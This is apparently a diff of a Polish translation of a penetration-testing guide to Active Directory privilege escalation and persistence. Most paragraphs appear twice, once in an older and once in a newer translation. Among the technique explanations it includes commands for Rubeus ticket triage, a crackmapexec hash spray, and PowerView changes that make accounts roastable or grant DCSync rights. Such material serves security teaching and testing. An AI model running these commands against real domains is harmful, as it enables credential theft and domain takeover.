W tej książce jest pełna strona poświęcona [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) oraz [**checklist**](../checklist-windows-privilege-escalation.md). Nie zapomnij też użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Current Session Tickets
Jest bardzo **mało prawdopodobne**, że znajdziesz **tickets** w bieżącym użytkowniku, które dawałyby ci uprawnienia do dostępu do nieoczekiwanych zasobów, ale możesz sprawdzić:
It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -215,17 +217,17 @@ Jest bardzo **mało prawdopodobne**, że znajdziesz **tickets** w bieżącym uż
```
### NTLM Relay
Jeśli udało ci się zenumerować Active Directory, będziesz miał **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Jeśli udało Ci się zenumerować Active Directory będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### Looks for Creds in Computer Shares | SMB Shares
### Szukanie Creds w udostępnieniach komputerów | SMB Shares
Teraz, gdy masz podstawowe poświadczenia, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne, powtarzalne zadanie (zwłaszcza jeśli znajdziesz setki dokumentów do przejrzenia).
Teraz, gdy masz pewne podstawowe poświadczenia powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to robić ręcznie, ale to bardzo nudne powtarzalne zadanie (a tym bardziej, jeśli znajdziesz setki dokumentów, które trzeba sprawdzić).
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów**, możesz **umieścić pliki** (np. SCF file), które jeśli w jakiś sposób zostaną otwarte, will t**rigger an NTLM authentication against you** dzięki czemu możesz **steal** the **NTLM challenge** to crack it:
Jeśli możesz **uzyskać dostęp do innych PCs lub shares** możesz **umieścić pliki** (np. plik SCF), które jeśli w jakiś sposób zostaną otwarte, spowodują, że **wywołają NTLM authentication przeciwko Tobie**, dzięki czemu możesz **ukraść** **NTLM challenge** aby go złamać:
{{#ref}}
@ -234,32 +236,32 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów**, możes
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Ta luka umożliwiała każdemu uwierzytelnionemu użytkownikowi **skompromentowanie kontrolera domeny**.
Ta luka pozwalała każdemu uwierzytelnionemu użytkownikowi na **przejęcie kontrolera domeny**.
{{#ref}}
printnightmare.md
{{#endref}}
## Privilege escalation on Active Directory WITH privileged credentials/session
## Eskalacja uprawnień w Active Directory Z uprzywilejowanymi poświadczeniami/sesją
**Dla poniższych technik zwykły użytkownik domeny nie wystarczy — potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**
**Do poniższych technik zwykły użytkownik domenowy nie wystarczy, potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**
### Hash extraction
Miejmy nadzieję, że udało ci się **skompromentować jakieś konto lokalnego administratora** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) (w tym relaying), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie czas zrzucić wszystkie hashe z pamięci i lokalnie.\
Miejmy nadzieję, że udało Ci się **skompromentować jakieś konto lokalnego administratora** używając [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) włączając relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie, czas zrzucić wszystkie hashe z pamięci i lokalnie.\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Gdy masz hash użytkownika**, możesz go użyć do jego **podszycia się**.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **NTLM authentication using** that **hash**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak że kiedy zostanie wykonane jakiekolwiek **NTLM authentication**, ten **hash będzie używany.** Ostatnia opcja to to, co robi mimikatz.\
**Gdy masz hash użytkownika**, możesz go użyć, aby się za niego **podszyć**.\
Musisz użyć jakiegoś **narzędzia**, które wykona **uwierzytelnianie NTLM** używając tego **hasha**, **lub** możesz utworzyć nowe **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak aby przy każdym wykonywanym **uwierzytelnianiu NTLM** używany był ten **hash**. Ostatnia opcja to to, co robi mimikatz.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Ten atak ma na celu **użyć NTLM hasha użytkownika do zażądania Kerberos tickets**, jako alternatywę dla klasycznego Pass The Hash przez protokół NTLM. Dlatego może być szczególnie **przydatny w sieciach, gdzie protokół NTLM jest wyłączony** i dopuszczony jest tylko **Kerberos** jako protokół uwierzytelniania.
Ten atak ma na celu **użyć hash'a NTLM użytkownika do zażądania ticketów Kerberos**, jako alternatywa dla powszechnego Pass The Hash przez protokół NTLM. Dlatego może być szczególnie **przydatny w sieciach, gdzie protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
{{#ref}}
@ -268,7 +270,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
W metodzie ataku **Pass The Ticket (PTT)** atakujący **kradną ticket uwierzytelniający użytkownika** zamiast jego hasła czy wartości hash. Ten skradziony ticket jest następnie używany do **podszycia się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
W metodzie ataku **Pass The Ticket (PTT)** atakujący **kradnie ticket uwierzytelniający użytkownika** zamiast jego hasła lub wartości hasha. Ten skradziony ticket jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
{{#ref}}
@ -277,20 +279,20 @@ pass-the-ticket.md
### Credentials Reuse
Jeśli masz **hash** lub **password** **local administratora**, powinieneś spróbować **zalogować się lokalnie** na innych **PCs** przy jego użyciu.
Jeśli masz **hash** lub **password** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** na inne **PC** używając tych poświadczeń.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> Zauważ, że jest to dość **hałaśliwe** i **LAPS** mogłoby to **złagodzić**.
> Zwróć uwagę, że to jest dość **hałaśliwe** i **LAPS** by to **złagodził**.
### MSSQL Abuse & Trusted Links
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może je wykorzystać do **wykonywania poleceń** na hoście MSSQL (jeśli proces działa jako SA), **wykradzenia** NetNTLM **hasha** lub nawet przeprowadzenia **relay** **attack**.\
Również, jeśli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia w zaufanej bazie danych, będzie mógł **wykorzystać relację zaufania do wykonywania zapytań także w drugiej instancji**. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć źle skonfigurowaną bazę danych, w której może uruchamiać polecenia.\
**Linki między bazami działają nawet w ramach forest trusts.**
Jeżeli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może wykorzystać to do **wykonywania poleceń** na hoście MSSQL (jeśli proces działa jako SA), **wykradzenia** NetNTLM **hasha** lub nawet przeprowadzenia **relay attack**.\
Dodatkowo, jeżeli instancja MSSQL jest zaufana (database link) przez inną instancję MSSQL i użytkownik ma uprawnienia do zaufanej bazy, będzie mógł **użyć relacji zaufania do wykonywania zapytań także w drugiej instancji**. Te zaufania mogą być łańcuchowane i w pewnym momencie użytkownik może znaleźć błędnie skonfigurowaną bazę, gdzie może wykonać polecenia.\
**Linki między bazami działają nawet przez forest trusts.**
{{#ref}}
@ -299,7 +301,7 @@ abusing-ad-mssql.md
### IT asset/deployment platforms abuse
Zewnętrzne systemy inwentaryzacji i wdrażania często udostępniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
Zewnętrzne narzędzia do inwentaryzacji i wdrożeń często ujawniają potężne ścieżki do poświadczeń i wykonania kodu. Zobacz:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
@ -311,9 +313,9 @@ lansweeper-security.md
### Unconstrained Delegation
Jeśli znajdziesz obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGTs z pamięci wszystkich użytkowników, którzy logują się na ten komputer.\
Tak więc, jeśli **Domain Admin** zaloguje się na ten komputer, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (mam nadzieję, że będzie to DC).
Jeśli znajdziesz obiekt Computer z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domenowe na tym komputerze, będziesz w stanie zrzucić TGTs z pamięci każdego użytkownika, który się na nim zaloguje.\
Zatem, jeśli **Domain Admin** zaloguje się na tym komputerze, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki constrained delegation możesz nawet **automatycznie przejąć Print Server** (oby to był DC).
{{#ref}}
@ -322,8 +324,8 @@ unconstrained-delegation.md
### Constrained Delegation
Jeśli użytkownik lub komputer jest dozwolony dla "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
Następnie, jeśli **skomprmisujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet Domain Admins) w celu dostępu do niektórych usług.
Jeżeli użytkownik lub komputer jest dozwolony do "Constrained Delegation", będzie mógł **podszywać się pod dowolnego użytkownika, aby uzyskać dostęp do niektórych usług na komputerze**.\
Jeśli **skomprymujesz hash** tego użytkownika/komputera, będziesz w stanie **podszyć się pod dowolnego użytkownika** (nawet Domain Admins) w celu dostępu do niektórych usług.
{{#ref}}
@ -341,7 +343,7 @@ resource-based-constrained-delegation.md
### Permissions/ACLs Abuse
Skompromitowany użytkownik może mieć pewne **interesujące uprawnienia nad obiektami domenowymi**, które pozwolą Ci później **poruszać się lateralnie/**/**eskalować** uprawnienia.
Skompromitowany użytkownik może mieć interesujące **uprawnienia** nad niektórymi obiektami domeny, które pozwolą Ci później **przemieszczać się lateralnie / eskalować uprawnienia**.
{{#ref}}
@ -350,7 +352,7 @@ acl-persistence-abuse/
### Printer Spooler service abuse
Odkrycie **usługi Spool nasłuchującej** w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **eskalacji uprawnień**.
Odkrycie usługi **Spool** nasłuchującej w domenie może zostać **nadużyte** do **pozyskania nowych poświadczeń** i **escalacji uprawnień**.
{{#ref}}
@ -359,8 +361,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
Jeśli **inni użytkownicy** **dostęp** do **skomprromitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** i nawet **wstrzykiwanie beaconów w ich procesy**, aby się pod nich podszyć.\
Zazwyczaj użytkownicy łączą się z systemem przez RDP, więc tutaj masz jak przeprowadzić parę ataków na sesje RDP stron trzecich:
Jeśli **inni użytkownicy** **dostępują** do **skompro-mitowanej** maszyny, możliwe jest **zbieranie poświadczeń z pamięci** a nawet **wstrzykiwanie beaconów do ich procesów** w celu podszycia się pod nich.\
Zwykle użytkownicy łączą się przez RDP, więc tutaj masz jak wykonać kilka ataków na sesje RDP osób trzecich:
{{#ref}}
@ -369,7 +371,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** dostarcza system zarządzania **local Administrator password** na komputerach dołączonych do domeny, zapewniając, że jest **losowe**, unikalne i często **zmieniane**. Hasła te są przechowywane w Active Directory, a dostęp kontrolowany jest przez ACLs tylko dla autoryzowanych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, pivotowanie do innych komputerów staje się możliwe.
**LAPS** zapewnia system zarządzania **lokalnym hasłem Administratora** na komputerach dołączonych do domeny, gwarantując, że jest ono **losowe**, unikalne i często **zmieniane**. Te hasła są przechowywane w Active Directory, a dostęp jest kontrolowany poprzez ACL do autoryzowanych użytkowników. Mając wystarczające uprawnienia do odczytu tych haseł, możliwe jest pivotowanie na inne komputery.
{{#ref}}
@ -378,7 +380,7 @@ laps.md
### Certificate Theft
**Zebranie certyfikatów** ze skompromitowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
**Zebranie certyfikatów** z zaatakowanej maszyny może być sposobem na eskalację uprawnień w środowisku:
{{#ref}}
@ -387,7 +389,7 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
Jeśli skonfigurowane są **podatne szablony**, możliwe jest ich nadużycie w celu eskalacji uprawnień:
Jeśli skonfigurowane są **podatne templates**, można je nadużyć do eskalacji uprawnień:
{{#ref}}
@ -398,15 +400,15 @@ ad-certificates/domain-escalation.md
### Dumping Domain Credentials
Gdy zdobędziesz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę domeny**: _ntds.dit_.
Gdy otrzymasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin**, możesz **zrzucić** **bazę domeny**: _ntds.dit_.
[**Więcej informacji o ataku DCSync można znaleźć tutaj**](dcsync.md).
[**Więcej informacji o tym, jak wykradać NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**Więcej informacji o tym, jak ukraść NTDS.dit można znaleźć tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc as Persistence
Niektóre z technik omówionych wcześniej mogą być wykorzystane do utrwalenia dostępu.\
Niektóre z wcześniej omawianych technik mogą być użyte jako metoda persistencji.\
Na przykład możesz:
- Uczynić użytkowników podatnymi na [**Kerberoast**](kerberoast.md)
@ -421,7 +423,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Nadać użytkownikowi uprawnienia [**DCSync**](#dcsync)
- Przyznać [**DCSync**](#dcsync) uprawnienia użytkownikowi
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -429,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
Atak **Silver Ticket** tworzy **prawidłowy TGS (Ticket Granting Service) ticket** dla konkretnej usługi, używając **NTLM hasha** (na przykład **hasha konta komputera**). Metoda ta służy do **uzyskania przywilejów dostępu do usługi**.
Atak **Silver Ticket** tworzy **prawidłowy Ticket Granting Service (TGS) ticket** dla konkretnej usługi, używając **NTLM hasha** (na przykład, **hash konta komputera**). Ta metoda służy do **uzyskania uprawnień do usługi**.
{{#ref}}
@ -438,9 +440,9 @@ silver-ticket.md
### Golden Ticket
Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hasha konta krbtgt** w środowisku Active Directory. To konto jest specjalne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są kluczowe dla uwierzytelniania w sieci AD.
Atak **Golden Ticket** polega na uzyskaniu przez atakującego dostępu do **NTLM hasha konta krbtgt** w środowisku Active Directory. To konto jest szczególne, ponieważ służy do podpisywania wszystkich **Ticket Granting Tickets (TGTs)**, które są kluczowe dla uwierzytelniania w sieci AD.
Gdy atakujący pozyska ten hash, może tworzyć **TGTs** dla dowolnego konta, które wybierze (atak typu Silver ticket).
Po uzyskaniu tego hasha, atakujący może tworzyć **TGTs** dla dowolnego konta (atak typu Silver ticket).
{{#ref}}
@ -449,7 +451,7 @@ golden-ticket.md
### Diamond Ticket
Są to jakby golden tickets sfałszowane w sposób, który **omija zwykłe mechanizmy wykrywania golden tickets.**
Są podobne do golden tickets, spreparowane w sposób, który **omija powszechne mechanizmy detekcji golden tickets.**
{{#ref}}
@ -458,7 +460,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**Posiadanie certyfikatów konta lub możliwość ich wystawiania** jest bardzo dobrą metodą na utrzymanie dostępu do konta użytkownika (nawet jeśli zmieni on hasło):
**Posiadanie certyfikatów konta lub możliwość ich zażądania** to bardzo dobry sposób na utrzymanie persistencji w koncie użytkownika (nawet jeśli zmieni hasło):
{{#ref}}
@ -467,7 +469,7 @@ ad-certificates/account-persistence.md
### **Certificates Domain Persistence**
**Używanie certyfikatów pozwala także na utrzymanie wysokich uprawnień w domenie:**
**Używanie certyfikatów umożliwia również utrzymanie wysokich uprawnień w domenie:**
{{#ref}}
@ -476,13 +478,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Obiekt **AdminSDHolder** w Active Directory zapewnia ochronę **uprzywilejowanych grup** (jak Domain Admins i Enterprise Admins) poprzez stosowanie standardowego **Access Control List (ACL)** do tych grup, aby zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może być nadużyta; jeśli atakujący zmodyfikuje ACL AdminSDHolder, nadając pełny dostęp zwykłemu użytkownikowi, użytkownik ten zyskuje rozległą kontrolę nad wszystkimi uprzywilejowanymi grupami. Środek bezpieczeństwa, mający chronić, może więc działać odwrotnie, umożliwiając nieuprawniony dostęp, jeśli nie jest ściśle monitorowany.
Obiekt **AdminSDHolder** w Active Directory zapewnia bezpieczeństwo **uprzywilejowanym grupom** (takim jak Domain Admins i Enterprise Admins) poprzez zastosowanie standardowego **Access Control List (ACL)** w tych grupach, by zapobiec nieautoryzowanym zmianom. Jednak ta funkcja może zostać wykorzystana; jeśli atakujący zmodyfikuje ACL AdminSDHolder, przyznając pełny dostęp zwykłemu użytkownikowi, ten użytkownik uzyska szeroką kontrolę nad wszystkimi uprzywilejowanymi grupami. Ten mechanizm bezpieczeństwa, zaprojektowany do ochrony, może więc działać na korzyść atakującego, jeśli nie jest ściśle monitorowany.
[**Więcej informacji o AdminDSHolder Group tutaj.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
W każdym **Domain Controller (DC)** istnieje konto **local administrator**. Uzyskując prawa administratora na takiej maszynie, hash lokalnego Administratora można wydobyć używając **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, pozwalając na zdalny dostęp do konta lokalnego Administratora.
W każdym **Domain Controller (DC)** istnieje konto **lokalnego administratora**. Uzyskując prawa administratorskie na takiej maszynie, hash lokalnego Administratora można wyciągnąć używając **mimikatz**. Następnie konieczna jest modyfikacja rejestru, aby **umożliwić użycie tego hasła**, co pozwala na zdalny dostęp do konta lokalnego Administratora.
{{#ref}}
@ -491,7 +493,7 @@ dsrm-credentials.md
### ACL Persistence
Możesz **nadać** pewne **specjalne uprawnienia** użytkownikowi nad konkretnymi obiektami domenowymi, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.
Możesz **przyznać** pewne **specjalne uprawnienia** użytkownikowi nad określonymi obiektami domeny, które pozwolą temu użytkownikowi **eskalować uprawnienia w przyszłości**.
{{#ref}}
@ -500,7 +502,7 @@ acl-persistence-abuse/
### Security Descriptors
**Security descriptors** służą do **przechowywania** **uprawnień**, jakie **obiekt** ma **do** innego **obiektu**. Jeśli potrafisz wykonać nawet **małą zmianę** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez konieczności bycia członkiem uprzywilejowanej grupy.
**Security descriptors** są używane do **przechowywania** **uprawnień**, jakie **obiekt** ma **do** innego **obiektu**. Jeśli dokonasz nawet **niewielkiej zmiany** w **security descriptor** obiektu, możesz uzyskać bardzo interesujące uprawnienia nad tym obiektem bez potrzeby bycia członkiem uprzywilejowanej grupy.
{{#ref}}
@ -509,7 +511,7 @@ security-descriptors.md
### Skeleton Key
Zmień **LSASS** w pamięci, aby ustawić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.
Modyfikuj **LSASS** w pamięci, aby ustanowić **uniwersalne hasło**, dające dostęp do wszystkich kont domenowych.
{{#ref}}
@ -518,8 +520,8 @@ skeleton-key.md
### Custom SSP
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć własne **SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do logowania się na maszynę.
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć własne **SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do dostępu do maszyny.
{{#ref}}
@ -528,8 +530,8 @@ custom-ssp.md
### DCShadow
Rejestruje **nowy Domain Controller** w AD i używa go do **wypychania atrybutów** (SIDHistory, SPNs...) na wskazanych obiektach **bez** pozostawiania **logów** dotyczących **modyfikacji**. Potrzebujesz uprawnień DA i musisz być wewnątrz **root domain**.\
Zauważ, że jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
Rejestruje **nowy Domain Controller** w AD i używa go do **wpychania atrybutów** (SIDHistory, SPNs...) na wskazanych obiektach **bez** pozostawiania logów dotyczących **modyfikacji**. Potrzebujesz uprawnień DA i być w **root domain**.\
Uwaga: jeśli użyjesz niepoprawnych danych, pojawią się dość brzydkie logi.
{{#ref}}
@ -538,7 +540,7 @@ dcshadow.md
### LAPS Persistence
Wcześniej omówiliśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również użyte do **utrzymania trwałego dostępu**.\
Wcześniej omówiliśmy, jak eskalować uprawnienia mając **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być także użyte do **utrzymania persistencji**.\
Sprawdź:
@ -548,56 +550,56 @@ laps.md
## Forest Privilege Escalation - Domain Trusts
Microsoft traktuje **Forest** jako granicę bezpieczeństwa. Oznacza to, że **skompromitowanie pojedynczej domeny może potencjalnie doprowadzić do skompromitowania całego Forest**.
Microsoft traktuje **Forest** jako granicę bezpieczeństwa. Oznacza to, że **kompromitacja pojedynczej domeny może potencjalnie doprowadzić do kompromitacji całego Forest**.
### Basic Information
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, pozwalając na przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i przechowują określone **klucze** w swoich **Domain Controllers (DCs)**, które są kluczowe dla integralności zaufania.
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który pozwala użytkownikowi z jednej **domeny** na dostęp do zasobów w innej **domenie**. Tworzy on powiązanie między systemami uwierzytelniania obu domen, pozwalając na przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i przechowują określone **klucze** w swoich **Domain Controllers (DCs)**, które są kluczowe dla integralności zaufania.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **trusted domain**, najpierw musi poprosić o specjalny ticket znany jako **inter-realm TGT** od DC swojej własnej domeny. Ten TGT jest szyfrowany za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia ten TGT **DC zaufanej domeny**, aby otrzymać service ticket (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, DC wydaje TGS, przyznając użytkownikowi dostęp do usługi.
W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w **trusted domain**, musi najpierw poprosić o specjalny ticket znany jako **inter-realm TGT** z DC swojej własnej domeny. Ten TGT jest szyfrowany przy użyciu współdzielanego **klucza**, na który obie domeny się umówiły. Użytkownik następnie przedstawia ten TGT DC **trusted domain**, aby otrzymać ticket usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC domeny zaufanej, wydaje on TGS, przyznając użytkownikowi dostęp do usługi.
**Kroki**:
1. Komputer **klienta** w **Domain 1** zaczyna proces używając swojego **NTLM hasha** do żądania **Ticket Granting Ticket (TGT)** od swojego **Domain Controller (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest wymagany do dostępu do zasobów w **Domain 2**.
4. Inter-realm TGT jest zaszyfrowany przy użyciu **trust key** współdzielonego między DC1 i DC2 jako część dwukierunkowego zaufania domen.
1. Komputer klienta w **Domain 1** rozpoczyna proces używając swojego **NTLM hasha** do żądania **Ticket Granting Ticket (TGT)** od swojego **Domain Controller (DC1)**.
2. DC1 wydaje nowy TGT, jeśli klient został pomyślnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, który jest potrzebny do dostępu do zasobów w **Domain 2**.
4. Inter-realm TGT jest szyfrowany przy użyciu **trust key** współdzielonego między DC1 i DC2 jako części dwukierunkowego zaufania domen.
5. Klient zabiera inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
6. DC2 weryfikuje inter-realm TGT używając wspólnego trust key i, jeśli ważny, wydaje **Ticket Granting Service (TGS)** dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
7. Na końcu klient przedstawia ten TGS serwerowi, który jest zaszyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.
6. DC2 weryfikuje inter-realm TGT używając współdzielonego trust key i, jeśli jest ważny, wydaje **Ticket Granting Service (TGS)** dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
7. Na koniec klient przedstawia ten TGS serwerowi, który jest szyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.
### Different trusts
Ważne jest zauważyć, że **trust może być jednokierunkowy lub dwukierunkowy**. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **jednokierunkowej** jedna z domen będzie **trusted**, a druga **trusting**. W tym drugim przypadku **będziesz mógł uzyskać dostęp do zasobów tylko wewnątrz trusting domain z poziomu trusted domeny**.
Ważne jest zauważyć, że **trust może być jednokierunkowy lub dwukierunkowy**. W konfiguracji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji **jednokierunkowej** jedna z domen będzie **trusted**, a druga **trusting**. W tym ostatnim przypadku **będziesz w stanie uzyskać dostęp tylko do zasobów w trusting domain z trusted domain**.
Jeśli Domain A ufa Domain B, A jest domeną trusting, a B jest trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B**, będzie to **Inbound trust**.
Jeśli Domain A ufa Domain B, A jest trusting domain, a B jest trusted. Co więcej, w **Domain A** będzie to **Outbound trust**; a w **Domain B** będzie to **Inbound trust**.
**Różne relacje zaufania**
- **Parent-Child Trusts**: To powszechna konfiguracja w obrębie tego samego forest, gdzie domena child automatycznie ma dwukierunkowe, przechodnie zaufanie z domeną parent. Oznacza to, że żądania uwierzytelnienia mogą płynąć bez przeszkód między parent a child.
- **Cross-link Trusts**: Nazywane też "shortcut trusts", są ustanawiane między domenami child w celu przyspieszenia procesów referencyjnych. W złożonych forest żądania autoryzacji zwykle muszą podróżować do korzenia forest i następnie w dół do docelowej domeny. Tworząc cross-links, skraca się tę drogę, co jest szczególnie przydatne w środowiskach geograficznie rozproszonych.
- **External Trusts**: Ustanawiane między różnymi, niezależnymi domenami i są z natury non-transitive. Zgodnie z dokumentacją Microsoft, external trusts są przydatne do dostępu do zasobów w domenie spoza bieżącego forest, która nie jest połączona przez forest trust. Bezpieczeństwo jest wzmacniane przez SID filtering z external trusts.
- **Tree-root Trusts**: Te zaufania są automatycznie ustanawiane między domeną root forest a nowo dodanym tree root. Chociaż nie są powszechnie spotykane, tree-root trusts są ważne przy dodawaniu nowych drzew domen do forest, pozwalając im zachować unikalną nazwę domeny i zapewniając dwukierunkową przechodniość. Więcej informacji można znaleźć w przewodniku Microsoft.
- **Forest Trusts**: Ten typ trustu to dwukierunkowe, przechodnie zaufanie między dwoma forest root domains, również egzekwujące SID filtering w celu zwiększenia środków bezpieczeństwa.
